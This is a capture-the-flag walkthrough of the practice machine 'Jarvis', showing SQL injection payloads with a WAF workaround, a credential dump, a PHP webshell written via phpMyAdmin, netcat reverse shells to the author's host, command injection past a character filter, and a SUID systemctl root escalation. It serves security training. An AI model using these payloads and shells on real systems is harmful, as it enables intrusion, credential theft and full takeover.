Jarvis Large Image

Jarvis Writeup (Medium)

Summary

Jarvis is a medium difficulty Linux machine. It’s named after Tony Stark’s household butler and contains several references to Iron Man’s universe. It’s IP is 10.10.10.143 and today I will show you how I solved this machine.

Ports and services enumeration

As always, we will start enumerating the machine ports using masscan and nmap:

root@PwnedC0ffee:~# masscan -p1-65535,U:1-65535 10.10.10.143 --rate=1000 -e tun0

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-09-22 08:18:33 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.143                                    
Discovered open port 22/tcp on 10.10.10.143                                    
Discovered open port 64999/tcp on 10.10.10.143 
root@PwnedC0ffee:~# nmap -sV -sC -p22,80,64999 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-22 04:22 EDT
Nmap scan report for 10.10.10.143
Host is up (0.045s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So we got two HTTP ports on 80 and 64999 and a SSH server.

We will start enumerating the Web servers on port 80.

Web Enumeration

When we visit http://10.10.10.143, we can see that the hostname is supersecurehotel.htb, so we add it to /etc/hosts.

root@PwnedC0ffee:~# cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	PwnedC0ffee

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.10.10.143	supersecurehotel.htb
Supersecurehotel

We can go to Rooms where we will see that each room is directly refereced using the parameter cod, which could be a possible injection point.

Jarvis Suite Room

Modifying the cod parameter, we will see that rooms are referenced using an integer. If we enter a letter, the page will redirect us to the Home tab. However, if we send cod=’, the server will return an empty room frame:

Empty Room

This will lead us to a possible SQL injection. If we try the time-based check payload cod=2 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a), the server will execute the SLEEP(5) command and will take 5 seconds to process our query. It is definitely a SQLi vulnerability.

Web Fuzzing

Before exploiting the SQLi vulnerability, we want to enumerate the web using a directory fuzzer. In this case we will use gobuster.

root@PwnedC0ffee:~# gobuster dir -u http://supersecurehotel.htb -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://supersecurehotel.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/22 05:16:33 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
===============================================================
2020/09/22 05:16:54 Finished
===============================================================

We found an interesting /phpmyadmin directory. If we visit http://supersecurehotel.htb/phpmyadmin/, we will see the following login page:

Jarvis phpmyadmin

Since we don’t know the credentials, let’s go back to the SQLi exploitation.

SQLmap

We want to make this fast, so we are going to use SQLmap. However, it looks like a simple Boolean-based SQLi, so it should not be hard to exploit.

root@PwnedC0ffee:~# sqlmap -u "http://supersecurehotel.htb/room.php?cod=2" --batch --dbs
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org
 (...)
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=2 AND 8247=8247

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cod=2 AND (SELECT 8930 FROM (SELECT(SLEEP(5)))XAeU)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-6309 UNION ALL SELECT NULL,CONCAT(0x7171626b71,0x7858516e4b6e455a574a52527a687973706a4b6f50796843664b64726d4a757a4e446864437a7354,0x7162786271),NULL,NULL,NULL,NULL,NULL-- -
---
[04:37:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[04:37:32] [INFO] fetching database names
[04:37:32] [INFO] retrieved: 'hotel'
[04:37:32] [INFO] retrieved: 'information_schema'
[04:37:33] [INFO] retrieved: 'mysql'
[04:37:33] [INFO] retrieved: 'performance_schema'
available databases [4]:                                                                     
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema

At this point, SQLmap starts to fail. If we go to the website, we will receive the following message:

Hey you have been banned for 90 seconds, don’t be bad

If we take a look at the response headers, we will see the following:

jarvis WAF

So there is a WAF running on the server… Can we bypass it?

Note: It seems that IronWAF is not perfect. Sometimes SQLmap works, so we can use it knowing that sometimes it will ban us for 90 secons. However, I want to show you a manual exploitation.

Manual SQLi exploitation

First of all we should know the exact number of columns in the vulnerable query. We will use UNION SELECT, and try different numbers of columns until we get a different response from the server.

cod=100 UNION SELECT 1,2,3,4,5,6,7; -- -

This query returns the following:

Number of Columns

Now we can navigate through the database using UNION SELECT queries.

cod=100 UNION SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 from information_schema.schemata;-- -
# Databases names: hotel,information_schema,mysql,performance_schema

cod=100 UNION SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- -
# Tables names on 'mysql' database: column_stats,columns_priv,db,event,func, general_log,gtid_slave_pos,help_category, help_keyword,help_relation,help_topic,host, index_stats,innodb_index_stats,innodb_table_stats, plugin,proc,procs_priv,proxies_priv,roles_mapping, servers,slow_log,table_stats,tables_priv,time_zone, time_zone_leap_second,time_zone_name, time_zone_transition,time_zone_transition_type,user

cod=100 UNION SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='user';-- -
# Columns in table 'mysql.user': Host,User,Password,Select_priv,Insert_priv,Update_priv, Delete_priv,Create_priv,Drop_priv,Reload_priv, Shutdown_priv,Process_priv,File_priv,Grant_priv, References_priv,Index_priv,Alter_priv,Show_db_priv, Super_priv,Create_tmp_table_priv,Lock_tables_priv, Execute_priv,Repl_slave_priv,Repl_client_priv, Create_view_priv,Show_view_priv,Create_routine_priv, Alter_routine_priv,Create_user_priv,Event_priv, Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher, x509_issuer,x509_subject,max_questions,max_updates, max_connections,max_user_connections,plugin, authentication_string,password_expired,is_role, default_role,max_statement_time

Once we know the database, table and column that we want to dump, we can obtain the username and the password of the database admin:

http://supersecurehotel.htb/room.php?cod=100%20UNION%20SELECT%201,%20user,%20password,%204,%205,%206,%207%20from%20mysql.user;--%20-
Jarvis SQL credentials

We can use Crackstation to crack the hash and get the password. So credentials are:

DBadmin : imissyou

phpmyadmin

The first thing I though about when I saw the credentials was the previous phpmyadmin webpage. If we try to log in, we will see that the credentials are correct. So we have access to the phpmyadmin console.

jarvis phpmyadmin console

Now we have two options: we can use MSF to automatically get a shell, or we can upload a webshell to manually exploit it. Since we are aiming for the OSCP, let’s forget about MSF.

We can upload a reverse shell using the SQL console on phpmyadmin. So we go to the SQL tab on the top of the webpage.

There we can use MariaDB’s SELECT INTO OUTFILE query. The following payload will do the trick.

SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/html/cmd.php" 
PHP webshell upload

We click on “Go”. Now we can visit supersecurehotel.htb/cmd.php?cmd=nc -e /bin/sh 10.10.14.9 9999 and we will get a reverse shell as www-data user.

root@PwnedC0ffee:~# rlwrap nc -nlvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:43800.
whoami
www-data

From www-data to user

First thing I usually do getting a TTY using Python:

python -c 'import pty; pty.spawn("/bin/bash")'

If we read /etc/passwd we will see there is a pepper user.

www-data@jarvis:/var/www/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
(...)
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
(...)
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
(...)

Let’s check if www-data can run any command as sudo:

www-data@jarvis:/var/www/html$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

Yay! We can run simpler.py as pepper. But what is simpler.py?

#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()
	
    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1
	
    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
	
def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req
			
def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]
	
def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req
	
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

As we can see, there is an exec_ping() function defined. So when we run

python3 simpler.py -p

The program will ask for an IP to ping. If we take a closer look at the exec_ping() function, we will see that it calls os.system(‘ping ‘ + command). The command parameter is not correctly handled, so we can inject code there. There is also a “weak” character filter, so we cannot use the following symbols:

'&', ';', '-', '`', '||', '|'

The most obvious way to execute commands will be using ; <bash command>. However, the filter will block our injection attempt because it contains ;. The way I used to bypass this filter is using an error based injection. The command ping $(id) will fail, and the error message will include the result of the id command.

root@PwnedC0ffee:~# ping $(id)
ping: groups=0(root),997(lxd): Name or service not know

So let’s use it in simpler.py:

www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: $(id)
$(id)
ping: groups=1000(pepper): Temporary failure in name resolution

Great! We can now execute commands as pepper. Let’s get a shell:

www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: $(/bin/bash)
pepper@jarvis:/var/www/Admin-Utilities$ 

This new shell is not working properly. It only shows stderr. We can redirect stdout to our shell using

pepper@jarvis:/var/www/Admin-Utilities$ >&2 /bin/bash
pepper@jarvis:/var/www/Admin-Utilities$ whoami
pepper

We can now read ~/user.txt.

Highway to Root

Enumeration shows the binary /bin/systemctl has enabled the SUID bit, and users from pepper group can execute that binary. systemctl is a tool to manage systemd services. If we create such a service, we can run it with root privileges, since systemctl has the SUID enabled, and the binary owner is root.

First, we create the script we want to run, called evil.sh and located at /home/pepper:

pepper@jarvis:~$ echo -e  '#!/bin/bash \n nc -e /bin/sh 10.10.14.9 1337' > evil.sh

Now we need to create a Unit File to define the systemd service. Let’s call it evilservice.service:

pepper@jarvis:~$ printf "[Unit]\nDescription=Evil Service\n\n[Service]\nType=simple\nExecStart=/bin/bash /home/pepper/evil.sh\n[Install]\nWantedBy=multi-user.target\n" > evilservice.service
pepper@jarvis:~$ cat evilservice.service
[Unit]
Description=Evil Service

[Service]
Type=simple
ExecStart=/bin/bash /home/pepper/evil.sh
[Install]
WantedBy=multi-user.target

Now we need execution privileges on evil.sh:

pepper@jarvis:~$ chmod +x evil.sh

Finally, we only have to set up a nc listener on our Kali machine and run:

epper@jarvis:~$ systemctl enable /home/pepper/evilservice.service
Created symlink /etc/systemd/system/multi-user.target.wants/evilservice.service -> /home/pepper/evilservice.service.
Created symlink /etc/systemd/system/evilservice.service -> /home/pepper/evilservice.service.
pepper@jarvis:~$ systemctl start evilservice.service

Now, our nc listener should have received a connection from the victim machine. We can read /root/root.txt.

Jarvis is was interesting, but I found it “easy” to be considered as a medium difficulty machine. If you want to check out a harder machine (but not too much), take a look at my writeup for SneakyMailer!